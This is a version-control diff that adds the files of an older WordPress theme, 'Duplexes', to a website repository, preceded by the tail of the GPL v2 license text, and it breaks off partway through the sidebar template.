+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+	  
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/archive.php	(revision 44)
@@ -0,0 +1,58 @@
+<?php get_header(); ?>
+
+<div id="topcurve"></div>
+<div id="main">
+<div id="content">
+
+<?php if (have_posts()) : ?>
+<?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
+
+<?php /* If this is a category archive */ if (is_category()) { ?>
+<h2 class="pageTitle">Entries in the &#8216;<?php single_cat_title(); ?>&#8217; Category:</h2>
+<?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
+<h2 class="pageTitle">Entries Tagged &#8216;<?php single_tag_title(); ?>&#8217;:</h2>
+<?php /* If this is a daily archive */ } elseif (is_day()) { ?>
+<h2 class="pageTitle">Archive for <?php the_time('F jS, Y'); ?></h2>
+<?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+<h2 class="pageTitle">Archive for <?php the_time('F, Y'); ?>:</h2>
+<?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+<h2 class="pageTitle">Archive for <?php the_time('Y'); ?>:</h2>
+<?php /* If this is an author archive */ } elseif (is_author()) { ?>
+<h2 class="pageTitle">Author Archive</h2>
+<?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+<h2 class="pageTitle">Blog Archives</h2>
+<?php } ?>
+<?php while (have_posts()) : the_post(); ?>
+
+<div class="post">
+<h2 class="postTitle"><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></h2>
+<p class="postMeta">Posted <?php the_time('M.d, Y') ?> in <?php the_category(', '); ?></p>
+<div class="postContent"><?php the_content('(continue reading...)'); ?></div>
+<div class="cleared"></div>
+<div class="postMetaBottom">
+<p class="postMetaComments"><?php comments_popup_link('Leave a Comment', '1 Comment', '% Comments'); ?></p>
+<p class="postMetaTags"><?php the_tags('Tags: ', ', ', ''); ?></p>
+<div class="cleared"></div>
+</div>
+</div> <!-- Closes Post -->
+
+<?php endwhile; ?>
+<?php else : ?>
+<div class="post">
+<h2 class="postTitle">Not Found</h2>
+<div class="postContent"><p>Sorry, but you are looking for something that isn't here.</p></div>
+</div> <!-- Closes Post -->
+<?php endif; ?>
+</div> <!-- Closes Content -->
+
+<?php get_sidebar(); ?>
+<div class="cleared"></div>
+</div> <!-- Closes Main -->
+
+<div id="pagenav">
+<div class="alignleft"><?php posts_nav_link('','','&laquo; Previous Entries') ?></div>
+<div class="alignright"><?php posts_nav_link('','Next Entries','') ?></div>
+<div class="cleared"></div>
+</div>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/comments.php	(revision 44)
@@ -0,0 +1,162 @@
+<?php // Do not delete these lines
+// thanks to Jeremy at http://clarktech.no-ip.com for the tips
+	if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die ('Please do not load this page directly. Thanks!');
+if (function_exists('post_password_required')) 
+	{
+	if ( post_password_required() ) 
+		{
+		echo '<p class="nocomments">This post is password protected. Enter the password to view comments.</p>';
+		return;
+		}
+	} else 
+	{
+	if (!empty($post->post_password)) 
+		{ // if there's a password
+			if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) 
+			{  // and it doesn't match the cookie  ?>
+				<p class="nocomments">This post is password protected. Enter the password to view comments.</p>
+				<?php return;
+			}
+		}
+	}
+if (function_exists('wp_list_comments')):
+//WP 2.7 Comment Loop
+if ( have_comments() ) : ?>
+
+	<?php if ( ! empty($comments_by_type['comment']) ) :
+	$count = count($comments_by_type['comment']);
+	($count !== 1) ? $txt = "Comments for this entry" : $txt = "Comment for this entry"; ?>
+	<h3 id="comments"><?php echo $count . " " . $txt; ?></h3>
+	<ul class="commentlist">
+		<?php wp_list_comments('type=comment&callback=mytheme_comment'); ?>
+	</ul>
+	<?php endif; ?>
+
+	<div class="navigation">
+		<div class="alignleft"><?php previous_comments_link() ?></div>
+		<div class="alignright"><?php next_comments_link() ?></div>
+		<div class="cleared"></div>
+	</div>
+
+	<?php if ( ! empty($comments_by_type['pings']) ) :
+	$countp = count($comments_by_type['pings']);
+	($countp !== 1) ? $txtp = "Trackbacks / Pingbacks for this entry" : $txtp = "Trackback or Pingback for this entry"; ?>
+	<h3><?php echo $countp . " " . $txtp; ?></h3>
+	<ul class="trackback">
+		  <?php wp_list_comments('type=pings&callback=mytheme_ping'); ?>
+	</ul>
+	<?php endif; ?>
+
+
+<?php else : // this is displayed if there are no comments so far ?>
+	<?php if ('open' == $post->comment_status) :
+		// If comments are open, but there are no comments.
+	else : ?><p class="nocomments">Comments are closed.</p>
+	<?php endif;
+endif;
+else:
+//WP 2.6 and older Comment Loop
+/* This variable is for alternating comment background */
+		$oddcomment = 'alt';
+?>
+ 
+<!-- You can start editing here. -->
+<?php if ($comments) : ?>
+	<h3 id="comments"><?php comments_number('No comments filed', 'One comment', '% comments' );?> for this entry</h3> 
+	<ol class="commentlist">
+	<?php foreach ( $comments as $comment ) : ?>
+		<li class="<?php echo $oddcomment; ?>" id="comment-<?php comment_ID() ?>">
+
+<a class="gravatar">
+<?php 
+if (function_exists('get_avatar')) {
+      echo get_avatar( $comment, 44);
+   } else {
+      //alternate gravatar code for < 2.5
+      $grav_url = "http://www.gravatar.com/avatar.php?gravatar_id=
+         " . md5($email) . "&default=" . urlencode($default) . "&size=" . $size;
+      echo "<img src='$grav_url' height='44px' width='44px' />";
+   }
+?>
+</a>
+
+			<div class="commentbody">
+			<cite><?php comment_author_link() ?></cite> 
+			<?php if ($comment->comment_approved == '0') : ?>
+			<em>Your comment is awaiting moderation.</em>
+			<?php endif; ?>
+			<br />
+			<small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> on <?php comment_time() ?></a> <?php edit_comment_link('edit','&nbsp;&nbsp;',''); ?></small>
+<div class="cleared"></div>
+			<?php comment_text() ?>
+			</div>
+		</li>
+ 
+	<?php /* Changes every other comment to a different class */	
+		if ('alt' == $oddcomment) $oddcomment = '';
+		else $oddcomment = 'alt';
+	?>
+	<?php endforeach; /* end for each comment */ ?>
+	</ol>
+ <?php else : // this is displayed if there are no comments so far ?>
+ 
+  <?php if ('open' == $post->comment_status) : ?> 
+		<!-- If comments are open, but there are no comments. -->
+	 <?php else : // comments are closed ?>
+		<!-- If comments are closed. -->
+	<p class="nocomments">Comments are closed.</p>
+
+
+
+ 
+<?php endif; ?>
+ 
+<?php endif; ?>
+ 
+<?php endif; // 2.6 and older Comment Loop end ?>
+ 
+<?php if ('open' == $post->comment_status) : ?>
+<div class="cleared"></div>
+<div id="respond">
+<h3>Leave a Reply</h3>
+<?php if (function_exists('cancel_comment_reply_link')) { 
+//2.7 comment loop code ?>
+<div id="cancel-comment-reply">
+	<small><?php cancel_comment_reply_link();?></small>
+</div>
+<?php } ?>
+ 
+<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
+<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php the_permalink(); ?>">logged in</a> to post a comment.</p></div>
+<?php else : ?>
+<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+<?php if ( $user_ID ) : ?>
+<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="Log out of this account">Logout &raquo;</a></p>
+<?php else : ?>
+<p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" />
+<label for="author"><small>Name <?php if ($req) echo "(required)"; ?></small></label></p>
+<p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" />
+<label for="email"><small>Mail (will not be published) <?php if ($req) echo "(required)"; ?></small></label></p>
+<p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
+<label for="url"><small>Website</small></label></p>
+<?php endif; ?>
+
+<?php if (function_exists('cancel_comment_reply_link')) { 
+//2.7 comment loop code ?>
+ <?php comment_id_fields(); ?>
+<?php } ?>
+
+<!--<p><small><strong>XHTML:</strong> You can use these tags: <?php echo allowed_tags(); ?></small></p>-->
+<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>
+<p><input name="submit" type="submit" id="submit" class="submitbutton" tabindex="5" value="Leave comment" />
+<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+</p>
+
+<?php do_action('comment_form', $post->ID); ?>
+ 
+</form>
+</div>
+<?php endif; // If registration required and not logged in ?>
+ 
+<?php endif; // if you delete this the sky will fall on your head ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/footer.php	(revision 44)
@@ -0,0 +1,27 @@
+</div><!-- Closes wrapper -->
+
+
+<div id="footercontainer">
+<div id="footer">
+
+<div id="footerleft">
+<ul id="footernav">
+  <li><a href="<?php echo get_option('home'); ?>">Home</a></li>
+  <?php wp_list_pages('depth=1&title_li=0&sort_column=menu_order'); ?>
+  <li><a class="rss" href="feed:<?php bloginfo('comments_rss2_url'); ?>">comments RSS</a></li>
+  <li><a class="rss" href="feed:<?php bloginfo('rss2_url'); ?>">full RSS</a></li>
+</ul>
+<p id="footercopy">Theme: <a href="http://duplex.net/">Duplexes </a> by <a href="http://duplex.net/">Duplex Real Estate Network</a>.</p>
+</div>
+
+<div id="footerright">
+<a href="http://wordpress.org"><img src="<?php bloginfo('template_directory'); ?>/images/wplogo.gif" alt="WordPress.org" /></a>
+</div>
+
+<div class="cleared"></div>
+<?php wp_footer(); ?>
+</div><!-- Closes footer -->
+</div><!-- Closes footercontainer -->
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/functions.php	(revision 44)
@@ -0,0 +1,102 @@
+<?php
+if ( function_exists('register_sidebar') )
+    register_sidebar(array(
+	'name'=>'sidebar_full',
+        'before_widget' => '<div class="sidebartop"></div><div class="sidebarcontent"><ul><li id="%1$s" class="sidebaritem %2$s">',
+        'after_widget' => '</li></ul></div><div class="sidebarbottom"></div>',
+        'before_title' => '<h2 class="widgettitle">',
+        'after_title' => '</h2>',
+    ));
+    register_sidebar(array(
+	'name'=>'sidebar_left',
+        'before_widget' => '<li id="%1$s" class="sidebaritem %2$s">',
+        'after_widget' => '</li>',
+        'before_title' => '<h2 class="widgettitle">',
+        'after_title' => '</h2>',
+    ));
+    register_sidebar(array(
+	'name'=>'sidebar_right',
+        'before_widget' => '<li id="%1$s" class="sidebaritem %2$s">',
+        'after_widget' => '</li>',
+        'before_title' => '<h2 class="widgettitle">',
+        'after_title' => '</h2>',
+    ));
+
+
+
+
+add_action('admin_menu', 'add_welcome_interface');
+
+function add_welcome_interface() {
+  add_theme_page('FeedBurner set up', 'FeedBurner', '8', 'functions', 'editoptions');
+  }
+
+function editoptions() {
+  ?>
+  <div class='wrap'>
+  <h2>FeedBurner - updates by email</h2>
+  <form method="post" action="options.php">
+  <?php wp_nonce_field('update-options') ?>
+  <p><strong>Please enter your FeedBurner ID here: </strong></p>
+  <p><input type="text" name="feedid" value="<?php echo get_option('feedid'); ?>" /></p>
+  <p><input type="submit" name="Submit" value="Update Options" /></p>
+  <input type="hidden" name="action" value="update" />
+  <input type="hidden" name="page_options" value="feedid" />
+  </form>
+  </div>
+  <?php
+  }
+
+
+
+
+function mytheme_comment($comment, $args, $depth) {
+   $GLOBALS['comment'] = $comment; ?>
+   <li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
+     <div id="comment-<?php comment_ID(); ?>">
+			<a class="gravatar">
+			<?php echo get_avatar($comment,44); ?>
+			</a>
+
+			<div class="commentbody">
+			<cite><?php comment_author_link() ?></cite> 
+			<?php if ($comment->comment_approved == '0') : ?>
+			<em>Your comment is awaiting moderation.</em>
+			<?php endif; ?>
+			<br />
+			<small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> on <?php comment_time() ?></a> <?php edit_comment_link('edit','&nbsp;&nbsp;',''); ?></small>
+<div class="cleared"></div>
+			<?php comment_text() ?>
+			</div>
+
+      <div class="reply">
+         <?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
+      </div>
+     </div>
+<?php
+        }
+
+
+
+function mytheme_ping($comment, $args, $depth) {
+   $GLOBALS['comment'] = $comment; ?>
+   <li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
+     <div id="comment-<?php comment_ID(); ?>">
+			<div class="commentbody">
+			<cite><?php comment_author_link() ?></cite> 
+			<?php if ($comment->comment_approved == '0') : ?>
+			<em>Your comment is awaiting moderation.</em>
+			<?php endif; ?>
+			<br />
+			<small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> on <?php comment_time() ?></a> <?php edit_comment_link('edit','&nbsp;&nbsp;',''); ?></small>
+
+			<?php comment_text() ?>
+			</div>
+     </div>
+<?php
+        }
+
+
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/header.php	(revision 44)
@@ -0,0 +1,52 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>"  />
+<title><?php if (is_home () ) { bloginfo('name'); echo " - "; bloginfo('description'); 
+} elseif (is_category() ) {single_cat_title(); echo " - "; bloginfo('name');
+} elseif (is_single() || is_page() ) {single_post_title(); echo " - "; bloginfo('name');
+} elseif (is_search() ) {bloginfo('name'); echo " search results: "; echo wp_specialchars($s);
+} else { wp_title('',true); }?></title>
+<meta name="generator" content="WordPress <?php bloginfo('version'); ?>" />
+<meta name="robots" content="follow, all" />
+<meta name="distribution" content="global" />
+<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
+<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
+<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
+<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+<?php wp_head(); ?>
+
+
+<!--[if lt IE 7]>
+<link href="<?php bloginfo('template_url'); ?>/ie6.css" rel="stylesheet" type="text/css" />
+<![endif]-->
+
+</head>
+
+<body>
+<div id="wrapper">
+
+<div id="header">
+<div id="title">
+<h1><a href="<?php echo get_option('home'); ?>"><?php bloginfo('name'); ?></a></h1>
+<span><?php bloginfo('description'); ?></span>
+</div>
+
+<div id="topnav">
+<ul>
+  <li><a class="rss" href="feed:<?php bloginfo('comments_rss2_url'); ?>">comments RSS</a></li>
+  <li><a class="rss" href="feed:<?php bloginfo('rss2_url'); ?>">full RSS</a></li>
+</ul>
+</div>
+<div class="cleared"></div>
+
+<div id="mainnav">
+<ul id="pagesmenu">
+  <li><a href="<?php echo get_option('home'); ?>">Home</a></li>
+  <?php wp_list_pages('depth=1&title_li=0&sort_column=menu_order'); ?>
+</ul>
+<div id="searchmenu"><?php include (TEMPLATEPATH . '/searchform.php'); ?></div>
+</div>
+
+</div> <!-- Closes header -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/ie6.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/ie6.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/ie6.css	(revision 44)
@@ -0,0 +1,2 @@
+#mainnav div#searchmenu {margin-top:7px;}
+#footer {padding:12px 0 0 0;}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/index.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php get_header(); ?>
+
+<div id="topcurve"></div>
+<div id="main">
+<div id="content">
+
+<?php if (have_posts()) : ?>
+<?php while (have_posts()) : the_post(); ?>
+
+<div class="post">
+<h2 class="postTitle"><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></h2>
+<p class="postMeta">Posted <?php the_time('M.d, Y') ?> in <?php the_category(', '); ?></p>
+<div class="postContent"><?php the_content('(continue reading...)'); ?></div>
+<div class="cleared"></div>
+<div class="postMetaBottom">
+<p class="postMetaComments"><?php comments_popup_link('Leave a Comment', '1 Comment', '% Comments'); ?></p>
+<p class="postMetaTags"><?php the_tags('Tags: ', ', ', ''); ?></p>
+<div class="cleared"></div>
+</div>
+</div> <!-- Closes Post -->
+
+<?php endwhile; ?>
+<?php else : ?>
+<div class="post">
+<h2 class="postTitle">Not Found</h2>
+<div class="postContent"><p>Sorry, but you are looking for something that isn't here.</p></div>
+</div> <!-- Closes Post -->
+<?php endif; ?>
+</div> <!-- Closes Content -->
+
+<?php get_sidebar(); ?>
+<div class="cleared"></div>
+</div> <!-- Closes Main -->
+
+<div id="pagenav">
+<div class="alignleft"><?php posts_nav_link('','','&laquo; Previous Entries') ?></div>
+<div class="alignright"><?php posts_nav_link('','Next Entries','') ?></div>
+<div class="cleared"></div>
+</div>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/page.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php get_header(); ?>
+
+<div id="topcurve"></div>
+<div id="main">
+<div id="content">
+
+<?php if (have_posts()) : ?>
+<?php while (have_posts()) : the_post(); ?>
+
+<div class="post">
+<h2 class="postTitle"><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></h2>
+<div class="postContent"><?php the_content('(continue reading...)'); ?></div>
+<div class="cleared"></div>
+</div> <!-- Closes Post -->
+
+<?php endwhile; ?>
+<?php else : ?>
+<div class="post">
+<h2 class="postTitle">Not Found</h2>
+<div class="postContent"><p>Sorry, but you are looking for something that isn't here.</p></div>
+</div> <!-- Closes Post -->
+<?php endif; ?>
+</div> <!-- Closes Content -->
+
+<?php get_sidebar(); ?>
+<div class="cleared"></div>
+</div> <!-- Closes Main -->
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/searchform.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/searchform.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/searchform.php	(revision 44)
@@ -0,0 +1,6 @@
+<form method="get" id="searchform" action="<?php bloginfo('url'); ?>/">
+<p>
+<input type="text" value="enter keywords here" name="s" id="searchbox" onfocus="this.value=''"/>
+<input type="submit" class="submitbutton" value="Search" />
+</p>
+</form>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/sidebar.php	(revision 44)
@@ -0,0 +1,106 @@
+<div id="sidebar">
+
+<?php
+$mysitename = get_bloginfo('name');
+$myfeedid = get_option('feedid');
+ if (get_option('feedid')) {
+  echo "
+<div class='sidebartop'></div>
+<div class='sidebarcontent'>
+<ul>
+<li>
+<h2>Get the updates by email</h2>
+<form action='http://www.feedburner.com/fb/a/emailverify' method='post' target='popupwindow' onsubmit=\"window.open('http://www.feedburner.com/fb/a/emailverifySubmit?feedId=$myfeedid', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true\"><p><input type='text' name='email' id='feedbox' /><input type='hidden' value='http://feeds.feedburner.com/~e?ffid=$myfeedid' name='url'/><input type='hidden' value='$mysitename' name='title'/><input type='hidden' name='loc' value='en_US'/><input type='submit' value='Subscribe' class='feedsubmit' /></p></form>
+</li>
+</ul>
+</div>
+<div class='sidebarbottom'></div>
+
+";
+ }
+ else {echo "";} ?>
+
+<?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('sidebar_full') ) : ?>
+<div class="sidebartop"></div>
+<div class="sidebarcontent">
+<ul>
+<li>
+<h2>Latest entries</h2>
+  <ul><?php wp_get_archives('type=postbypost&limit=10'); ?></ul>
+</li>
+</ul>
+</div>
+<div class="sidebarbottom"></div>
+
+
+<div class="sidebartop"></div>
+<div class="sidebarcontent">
+<ul>
+<li>
+<h2>Browse popular tags</h2>
+  <?php wp_tag_cloud('smallest=8&largest=17&number=30'); ?>
+</li>
+</ul>
+</div>
+<div class="sidebarbottom"></div>
+<?php endif; ?>
+
+
+<div class="sidebartop"></div>
+<div class="sidebarcontent">
+
+<div id="sidebarleft">
+<ul>
+
+<?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('sidebar_left') ) : ?>
+<li>
+<h2>Categories</h2>
+ <ul>
+   <?php wp_list_categories('orderby=name&title_li=&depth=2'); ?>
+ </ul>
+</li>
+
+<li>
+<h2>Blogroll</h2>
+ <ul>
+   <?php wp_list_bookmarks('title_li=&categorize=0'); ?>
+ </ul>
+</li>
+<?php endif; ?>
+
+</ul>
+</div><!-- Closes Sidebarleft -->
+
+
+<div id="sidebarright">
+<ul>
+
+<?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar('sidebar_right') ) : ?>
+<li>
+<h2>Archives</h2>
+ <ul>
+   <?php wp_get_archives('type=monthly'); ?>
+ </ul>
+</li>
+
+<li>
+<h2>Admin</h2>
+ <ul>
+   <?php wp_meta(); ?>
+   <?php wp_register(); ?>
+   <li><?php wp_loginout(); ?></li>
+   <li><a href="http://www.wordpress.org/">WordPress</a></li>
+   <li><a href="http://validator.w3.org/check?uri=referer">XHTML</a></li>
+ </ul>
+</li>
